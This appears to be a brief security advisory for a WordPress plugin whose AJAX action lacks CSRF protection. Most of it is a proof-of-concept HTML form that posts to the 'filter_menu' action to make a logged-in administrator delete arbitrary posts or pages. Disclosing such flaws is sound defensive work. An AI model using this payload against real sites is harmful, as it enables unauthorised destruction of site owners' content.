The plugin does not have CSRF in an AJAX action, which could allow attackers to make a logged in admin delete arbitrary posts/pages from the blog via a CSRF attack
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php?action= filter_menu" method="POST">
<input type="hidden" name="val[]" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>